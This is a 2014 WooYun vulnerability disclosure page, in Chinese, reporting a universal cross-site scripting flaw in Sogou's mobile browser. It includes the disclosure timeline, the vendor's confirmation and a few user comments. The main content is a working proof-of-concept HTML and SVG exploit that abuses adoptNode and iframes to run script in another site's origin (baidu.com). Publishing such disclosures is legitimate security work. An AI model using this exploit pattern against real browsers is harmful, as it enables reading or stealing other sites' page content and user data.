当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-047684

漏洞标题：搜狗手机浏览器跨域脚本执行漏洞之三

相关厂商：搜狗

漏洞作者： ali

提交时间：2014-01-02 16:11

修复时间：2014-04-02 16:12

公开时间：2014-04-02 16:12

漏洞类型：远程代码执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-02： 细节已通知厂商并且等待厂商处理中
2014-01-05： 厂商已经确认，细节仅向厂商公开
2014-01-08： 细节向第三方安全合作伙伴开放
2014-03-01： 细节向核心白帽子及相关领域专家公开
2014-03-11： 细节向普通白帽子公开
2014-03-21： 细节向实习白帽子公开
2014-04-02： 细节向公众公开

简要描述：

搜狗手机浏览器对脚本执行限制不严，导致跨域脚本执行

详细说明：

test.html代码：
<head>
<script>
main = function()
{
	specialFrame = document.body.appendChild(document.createElement("iframe"));
	document.adoptNode(specialFrame);
	document.implementation.createHTMLDocument().adoptNode(specialFrame);
	specialFrame.contentWindow.location = "http://www.baidu.com/";
	interval1 = setInterval(function() {
		if (specialFrame.contentDocument)
			return;
		clearInterval(interval1);
		specialFrame.src = "javascript:alert(document.body.innerHTML)";
		uxssFrame = document.body.appendChild(document.createElement("iframe"));
		uxssFrame.src = "test.svg";
	}, 100);
}
</script>
</head>
<body onload="main()"></body>
svg代码：
<svg xmlns="http://www.w3.org/2000/svg">
<script>
svg = document.documentElement;
frame = svg.appendChild(document.createElementNS("http://www.w3.org/1999/xhtml", "iframe"));
frame.contentWindow.onunload = function() {
	svg.appendChild(top.specialFrame);
}
</script> 
<element param="1" param="2"/>
</svg>

漏洞证明：

Screenshot_2014-01-02-14-17-16.png

修复方案：

对adptnode执行脚本进行限制

版权声明：转载请注明来源 ali@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-01-05 15:07

厂商回复：

感谢提供

最新状态：

暂无

漏洞评价：

评论

  1. 2014-01-02 16:19 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    洞主我崇拜你，这个能连载到几？

  2. 2014-01-02 16:35 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    牛X的洞主

  3. 2014-01-02 17:01 | 4399gdww ( 路人 | Rank:20 漏洞数:4 | )

    坐等5连载

  4. 2014-01-08 22:43 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井，架工，木工，电工，水暖工，力...)

    目测小号